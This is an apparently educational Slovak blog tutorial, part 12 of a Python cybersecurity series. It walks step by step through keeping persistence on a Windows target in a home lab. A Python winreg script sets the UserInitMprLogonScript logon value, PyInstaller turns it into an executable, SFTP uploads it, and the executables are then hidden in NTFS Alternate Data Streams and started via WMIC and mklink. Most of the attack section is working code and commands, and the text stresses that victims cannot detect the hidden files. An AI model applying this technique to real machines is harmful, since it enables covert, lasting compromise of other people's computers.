[image: image1.jpg]@ python’



Python a kybernetická bezpečnosť – 12. časť
Dnešná časť seriálu bude nepriamym pokračovaním 10. časti, v rámci ktorej sme si popísali jednu z mnohých možností, resp. princípov, ako na cieľovom zariadení zachovať našu prítomnosť (maintain persistence). Zameriame sa pritom na metódu využitia prihlasovacích skriptov (Logon Scripts) so súčasným popisom možností skrytia programových súborov prostredníctvom tzv. New Technology File System (NTFS) Alternate Data Streams (ADSs).
Čo chceme vykonať?
Znovu si predstavme prípad, kedy sme prihlásení na cieľovom zariadení a keďže predpokladáme, že naše ťažko získané prihlasovacie údaje budeme vedieť využiť iba raz, nevyhnutne musíme urobiť niečo, čo nám umožní prihlásiť sa aj nabudúce. Jednou z možností je spúšťať na cieľovom počítači program, ktorý nás bude informovať o práci používateľa, vykonávaných zmenách, či priamo zasielať citlivé údaje vrátane zmenených prihlasovacích údajov (pozn.: na podobnom princípe pracuje aj služba DDNS). Opakovane k tomu využijeme nám známy spôsob modifikácie registra OS Windows avšak tentoraz nebudeme modifikovať kľúč Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, ale kľúč Computer\HKEY_USERS\userSID\Environment. Uvedený kľúč obsahuje údaj (value) UserInitMprLogonScript, ktorého hodnota, resp. príkaz (skript) je spúšťaný v okamihu prihlásenia sa používateľa s daným userSID do operačného systému. Podobný princíp je aplikovaný aj v prostrední OS Linux avšak nie prostredníctvom registra, ale cestou príslušných skriptov nachádzajúcich sa v domovských zložkách jednotlivých používateľov.
Pracovný postup
Použijeme rovnaké pracovné prostredie ako v prípade 10. časti seriálu, ktorého komponenty sú nasledujúce (obr. 1):
	Zariadenie
	IP
	Nástroje
	Význam

	Náš PC
	192.168.1.60
	Linux
VirtualBox
SSH klient
	Počítač útočníka s nainštalovaným VirtualBox – virtuálnym PC s Windows, prihlásenie sa k cieľovému PC s využitím služieb SFTP a SSH

	Virtuálny PC
	192.168.1.10
	Windows
Python
PyInstaller
	Virtuálny PC s Windows + Python + PyInstaller, príprava súborov AddLogonScript.exe a ADS.exe

	Cieľový PC
	192.168.1.3
	Windows
SSH server
	Cieľový PC s nainštalovaným SSH serverom, meno fiktívneho používateľa je jojo (v našom prípade je to takisto virtuálny PC)


Obr. 1 Komponenty pracovného prostredia k vykonaniu útoku
Našim cieľom je modifikácia registra cieľového PC s nainštalovaným OS Windows čím zabezpečíme automatické spúšťanie príslušného programu, ktorý bude vykonávať nami požadované úlohy. Pre ukážku budeme spúšťať Windows Command Interpreter cmd.exe. Postup práce je nasledujúci:
1. prihlásime sa na cieľový počítač pomocou služby SSH a s využitím nástroja WMI command-line (WMIC) utility získame tzv. Security Identifier (SID) používateľa:
ssh jojo@192.168.1.3
wmic useraccount where name=‘jojo’ get sid
Pozn.: SIDs sú určené na jednoznačnú identifikáciu používateľov, skupín, alebo procesov v rámci OS Windows.
2. vo virtuálnom PC v rámci OS Windows vytvoríme súbor AddLogonScript.py s nasledujúcim obsahom:
import winreg
# wmic useraccount where name='jojo' get sid
userSID = 'S-1-5-21-2376678190-561662428-3969158590-1000'
regPath = userSID+'\\Environment'
regKey = winreg.OpenKey(winreg.HKEY_USERS,regPath,0,access = winreg.KEY_WRITE)
winreg.SetValueEx(regKey,'UserInitMprLogonScript',0,winreg.REG_SZ,'cmd.exe')
a naviac súbor ADS.py s obsahom:
import os
exePath = os.path.join(os.getcwd(),'tajny.txt:tajny.exe')
os.system('wmic process call create '+exePath)
Obidva súbory transformujeme pomocou nástroja PyInstaller na ich spustiteľné EXE ekvivalenty.
3. prihlásime sa na cieľový počítač pomocou služby SFTP a EXE súbory nahráme do domovskej zložky používateľa jojo:
sftp jojo@192.168.1.3
put AddLogonScript.exe
put ADS.exe
bye
4. v rámci SSH session vytvorenej v 1. kroku skryjeme obsah EXE súborov do ADSs súboru tajny.txt:
type AddLogonScript.exe > tajny.txt:tajny.exe
type ADS.exe > tajny.txt:ads.exe
a pôvodné EXE súbory odstránime:
del AddLogonScript.exe
del ADS.exe
Pozn.: ADSs boli vytvorené ako jedna z výhodných vlastností NTFS systému z dôvodu kompatibility so zariadeniami používajúcimi Macintosh Hierarchical File System (HFS) pričom umožňujú v alternatívnych streamoch ukladať rôzne manažment dáta vrátane spustiteľného kódu ľubovolného typu. Pri práci s ADSs treba mať na zreteli niekoľko obmedzení ako napr. nemožnosť skopírovania stremov na iný systém ako NTFS, resp. ich ignorovanie kompresnými službami, v rámci ktorých treba existenciu ADSs explicitne deklarovať.
Obsah ADS súboru tajny.txt dokážeme zobraziť pomocou príkazu:
dir /R tajny.txt
pričom by sme mali získať nasledujúci výstup:
	0
	tajny.txt

	7,238,224
	tajny.txt:ads.exe:$DATA

	7,238,363
	tajny.txt:tajny.exe:$DATA


5. Vytvoríme tzv. symbolický link na jeden z ADSs súboru tajny.txt:
mklink path\ads.exe path\tajny.txt:ads.exe
a spustíme program ads.exe. Následne môžeme symlink odstrániť.
Obr. 2 Zmenený obsah Windows registra po vykonaní programu ads.exe
Výsledok
Hore uvedeným postupom zabezpečíme, že po prihlásení sa používateľa jojo na zariadenie s IP adresou 192.168.1.3, sa automaticky spustí program cmd.exe, ktorý je definovaný v registry v rámci kľúča Computer\HKEY_USERS\userSID\Environment. Úpravu uvedeného kľúča sme dosiahli tak, že po spustení programu ads.exe došlo k vytvoreniu nového procesu s kódom definovaným skriptom AddLogonScript.py (obr. 2).
Čo je na tomto postupe najzaujímavejšie je skrytie oboch EXE súborov do alternatívnych dátových streamov súboru tajny.txt. Pri použití príkazu dir sa tento súbor javí ako prázdny, tzn. jeho veľkosť = 0 bytes. V jeho alternatívnych streamoch sa však nachádza programový kód našich súborov (skriptov). Bežný používateľ nemá žiadnu šancu zistiť, že na jeho disku sú uložené naše skryté súbory a takisto nemá šancu zistiť, že jeho používateľské údaje uložené v registry boli doplnené o novú položku.
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